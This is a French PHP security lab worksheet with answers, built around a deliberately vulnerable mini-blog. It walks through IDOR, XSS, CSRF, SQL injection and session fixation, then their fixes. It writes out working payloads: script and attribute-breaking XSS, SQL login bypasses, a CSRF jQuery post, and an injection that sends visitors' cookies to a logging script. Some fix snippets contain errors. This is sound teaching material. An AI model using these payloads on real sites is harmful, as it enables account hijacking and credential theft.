TP de sécurité en PHP

Le TP se déroulera autour d'une application factice : un mini-blog. Les fonctionnalités sont volontairement limitées, et le code PHP très simplifié, mais les failles de sécurité sont les mêmes que dans des applications réelles.

Formulaires et HTML

Modification de contenu

  1. Placer l'application dans un répertoire de son serveur web. Consulter les articles existant, et les différentes pages. Se créer un compte utilisateur et s'authentifier.
  2. Une fois authentifié, poster un commentaire sur un article. Modifier son commentaire. Modifier le commentaire d'un autre utilisateur !
    Il suffit de changer l'identifiant dans l'URL, et de recharger la page pour obtenir le formulaire souhaité.
  3. Sécuriser l'écriture du formulaire de la page "comment_create.php" afin qu'on ne puisse pas accéder à un commentaire d'autrui.
    Il faut ajouter juste avant le début du HTML :
    if (isset($_GET['id_comment'])) {
    	$comments = $db->query("SELECT * FROM comment WHERE id = " . $_GET['id_comment'])
                       ->fetchAll();
    	$comment = $comments[0];
    	if ($comment->id_user != $_SESSION['user']->id) {
    		die("Permission refusée");
    	}
    }
  4. Est-ce suffisant ? Comment modifier malgré tout ce formulaire ?
    Rien n'empêche de sauvegader le HTML du formulaire dans un fichier local de son ordinateur. Ensuite, il suffit de modifier le champ action et de passer l'input nommé "id_comment" du type "hidden" au type "text".
    En résumé, le client peut toujours modifier à sa guise un formulaire avant de l'envoyer.
  5. Plutôt que de mettre en place la même sécurité dans le traitement du formulaire que dans son écriture, on souhaite vérifier que certains champs du formulaire soumis sont bien identiques à celles attendues. Ajouter au formulaire un champ qui permette ceci.
    Le principe est de créer une clé cryptée sur les valeurs que l'on souhaite préserver. On ajoute donc une fonction
    function cleCryptee($valeur, $sel=" ne se devine pas") {
        return md5($valeur . $sel);
    }
    Ensuite, on ajoute au formulaire, sous le champ id_comment, une ligne :
    echo '<input name="cle" type="hidden" value="' . cleCryptee($_REQUEST['id_comment']) ."\" />\n";
    Il reste, avant de déclarer le "UPDATE" SQL, à vérifier les données reçues :
    if (cleCryptee($_REQUEST['id_comment']) != $_REQUEST['cle']) {
        die('Formulaire invalide !');
    }

XSS

  1. Ajouter un commentaire qui masque le bas de page. Revenir à un fonctionnement normal.
    Dans le contenu du commentaire, ll faut agir sur le HTML en remontant dans l'arbre DOM avant de couper la branche :
    </dd></dl></div><span style="display: none;">
    Avec un tel commentaire, la page de l'article n'est bien sûr plus en HTML valide.
  2. Ajouter un commentaire qui modifie le titre H1 de la page de l'article.
    Pour modifier la page en dehors de la zone où on peut écrire du HTML, on a besoin de javascript.
    <script>
    document.getElementsByTagName("h1")[0].innerHTML="Coucou !";
    </script>
  3. Empêcher la saisie de balises HTML (en les supprimant) pour éviter les attaques ci-dessus. Est-ce suffisant ?
    Sur la page "article_view.php", appliquer la fonction strip_tags() à chaque résultat d'une saisie utilisateur (titre ou contenu d'un commentaire).
    Ce n'est pas suffisant puisque le titre d'un commentaire est affiché dans un attribut "title", on n'a donc pas besoin d'une balise HTML pour monter une attaque XSS. Dans le champ titre, placer :
    " onmouseover="alert(/coucou/)
  4. Echapper (protéger) les textes affichés dans le HTML. Est-ce satisfaisant ?
    On remplace le strip_tags précédent par un appel à htmlspecialchars.
    htmlspecialchars($comment->title, ENT_COMPAT, UTF-8)
    Si l'attribut title était entre apostrophes, alors il faudrait remplacer ENT_COMPAT par ENT_QUOTES, mais mieux vaut utiliser toujours des guillemets.
    Ce n'est pas satisfaisant car on n'autorise alors que le texte seul. Or on peut souhaiter laisser passer quelques balises HTML, en particulier si le texte est saisi avec un éditeur enrichi comme TinyMCE ou FCKeditor.
  5. Utiliser la bibliothèque PHP HTML Purifier pour autoriser l'utilisateur à mettre du HTML dans ses commentaires, mais en court-circuitant les attaques.
    require_once("HTMLPurifier.auto.php");
    
    $config = HTMLPurifier_Config::createDefault();
    $config->set('URI', 'HostBlacklist', array('google.com'));
    $config->set('HTML', 'AllowedElements', array('a','img','div'));
    $config->set('HTML', 'AllowedAttributes',
                 array('a.href','img.src','div.align','*.class'));
    
    $purifier = new HTMLPurifier($config);
    echo $purifier->purify($comment->content);
  6. On considère que les champs des commentaires sont maintenant sécurisés. Fixer l'URL d'un compte utilisateur de façon à exploiter une faille XSS sur la page "article_view.php". Comment corriger cette faille ? Quelle est la particularité par rapport aux points précédents ?
    Si on crée un compte utilisateur dont l'URL soit :
    javascript:alert(/coucou !/);
    Alors même si ce champ est affiché avec htmlspecialchars(), on peut injecter n'importe que code javascript dans la page.
    La différence avec les failles XSS précédentes est qu'il n'existe pas d'outil intégré à PHP pour traiter ce problème. Il faut vérifier manuellement que l'URL commence bien par "http://".
  7. Proposer une URL vers la page "user_login.php" qui affiche dans une popup les login/mot de passe saisis. Sur le même principe, on peut envoyer ces informations à un site collecteur. Cliquer sur un lien est dangereux !
    On veut insérer dans le HTML de la page, dans le champ "login" :
    onchange="alert(this.value);"
    Ce qui donne l'URL relative :
    user_login.php?login="+onchange="alert(this.value);
    Pour une attaque plus réaliste, on intercepterait plutôt l'événement "onsubmit" du formulaire, et on crypterait l'URL, mais le principe reste le même.

CSRF

  1. Se rendre sur la page "csrf.html". Que c'est-il passé ?
    Si on a une session en cours, on a modifié un commentaire de l'article 2.
  2. Comment empêcher simplement cette attaque ?
    Si la page PHP lit du POST, le danger est (un peu) plus faible puisque qu'une action à l'insu de son auteur ne peut se faire que via du Javascript, pas par une balise <IMG>.
  3. Télécharger jQuery. Utiliser $.post() pour créer une attaque CSS similaire à la précédente.
    jQuery.post("comment_create.php", { id_comment: 3, title: "CSRF", content: "triche !" });
  4. Mettre en place un CAPTCHA avec Securimage.
  5. Supprimer le CAPTCHA. Utiliser des valeurs secrètes en session pour sécuriser la requête.
    Dans le formulaire :
    $_SESSION['form1'] = TRUE;
    echo '<input type="hidden" name="csrf" value="form1" />';
    Dans le traitement PHP du formulaire :
    if (isset($_POST['csrf1'])) {
        $csrf = $_POST['csrf1'];
        if (empty($_SESSION[$csrf])) {
            die("Le formulaire n'a pas été posté au cours d'une session.");
        }
    }

Pour aller plus loin

  1. Installer "Savant3" à l'aide de "pear". Récrire la page "comment_create.php" pour utiliser un template.
  2. Remplacer le formulaire HTML de "comment_create.php" par un formulaire QuickForm. En complément de la documentation officielle, on pourra se référer à un tutoriel QuickForm.

Injection SQL

Échappement SQL

  1. Sur la page "user_login.php", se connecter sans mot de passe, juste avec un login valide.
    Plusieurs possibilités de mot de passe, par exemple ' OR '1'='1.
  2. Se connecter sans mot de passe ni login.
    Plusieurs possibilités de login, par exemple ' OR 1 -- .
  3. Quel rôle joue ici la fonction noMagicQuotes() ? La directive "magic_quotes_gpc", par défaut à ON avant PHP 4.3, est maintenant à OFF en général. Pourquoi cette fonctionnalité est-elle devenue obsolète en PHP ?
    Cf transparents.
  4. Sécuriser la page avec PDO::quote(), l'équivalent de mysqli::real_escape_string().
    Attention, PDO::quote() met automatiquement des apostrophes autor de ses arguments, à la différence de mysql_real_escape_string.
    $sql = "SELECT * FROM user "
           ."WHERE login=". $db->quote($_POST['login'])
           ." AND password=". $db->quote($_POST['password']);

L'échappement ne suffit pas

  1. Sur la page "comment_create.php", malgré l'échappement SQL, prouver que l'on peut toujours modifier des commentaires d'autrui. Par exemple, effacer tous les commentaires qui suivent l'un des siens.
    Si on donne au paramètre id_comment la valeur 3 OR 1=1, alors on modifiera tous les commentaires.
    Même le test PHP pour vérifier qu'on est bien le propriétaire du commentaire sera inefficace. Attention à bien distinguer les 2 lignes suivantes :
    if ("3 OR 1=1" == 3)  // TRUE
    if ("3 OR 1=1" === 3) // FALSE
    Noter toutefois que si l'on utilise $db->quote($_REQUEST['id_comment']), alors l'attaque ci-dessus ne fonctionnera pas car même les valeurs numériques seront entre apostrophes.
  2. La protection en sortie (échappement SQL) ne suffit pas. Il faut prévoir une protection en entrée : la validation des données entrantes. C'est non seulement utile pour la sécurité, mais aussi pour la cohérence de l'application. Appliquer ce principe à "comment_create.php".
    Utiliser des variables intermédiaires (ou mieux une unique variable $newComment qui soit un tableau ou un objet). Les initialiser en utilisant au besoin une conversion de type :
    $newComment = array( "id_comment" => false );
    if (isset($_REQUEST['id_comment'])) {
        $newComment['id_comment'] = (int) $_REQUEST['id_comment'];
    }
  3. Utiliser ext/filter pour valider tous les paramètres POST en une fois.
    $args = array(
        'id_comment'   => FILTER_VALIDATE_INT,
        'title'        => FILTER_SANITIZE_ENCODED,
        'content'      => FILTER_SANITIZE_ENCODED,
    );
    $newComment = filter_input_array(INPUT_REQUEST, $args);
  4. Sécuriser la page avec des requêtes préparées. Vérifier si l'attaque ci-dessus est encore possible, même sans phase de validation.
    Au lieu de mettre dans une variable le texte de la requête SQL, on stocke une requête préparée :
        $prep = $db->prepare("UPDATE comment SET title=:title, content=:content, id_user=:iduser "
            ." WHERE id = :idcomment");
    	$prep->bindParam(':idcomment', $newComment['id_comment']);
    }
    $prep->bindParam(':title', $newComment['title']); // ...
    if ($prep->execute()) {
    Les requêtes préparées garantissent une sécurité optimale.

Sessions

  1. Utiliser une faille XSS pour afficher le contenu du cookie (en javascript : document.cookie). Voler alors la session associée (tester dans un autre navigateur).
    Il suffit d'utiliser une faille XSS décrite plus haut pour faire exécuter :
    alert(document.cookie);
  2. Rendre l'attaque précédente plus réaliste : sur la page "article_view.php", le cookie du visiteur devra être envoyé à une URL où un script PHP l'écrira dans un fichier (utiliser error_log()).
    Injecter par XSS le code JS suivant :
    document.write("<img src=\"getcookies.php?cookie="+document.cookie+"\"");
    Le fichier "getcookies.php" contient simplement :
    <?php error_log($_GET['cookie'], 3, 'cookies.log');
  3. Créer une page HTML avec un lien vers la page de login qui fixe l'ID de session. Supprimer tous les cookies, puis suivre ce lien. Vérifier alors dans un autre navigateur que l'ID de session choisi est valide.
    Le lien est du genre article_view.php?id=2&PHPSESSID=12345678901234567890123456789012
  4. Appliquer les sécurisations recommandées (configuration et régénération d'ID). Tester à nouveau les attaques précédentes.
    Cf transparents.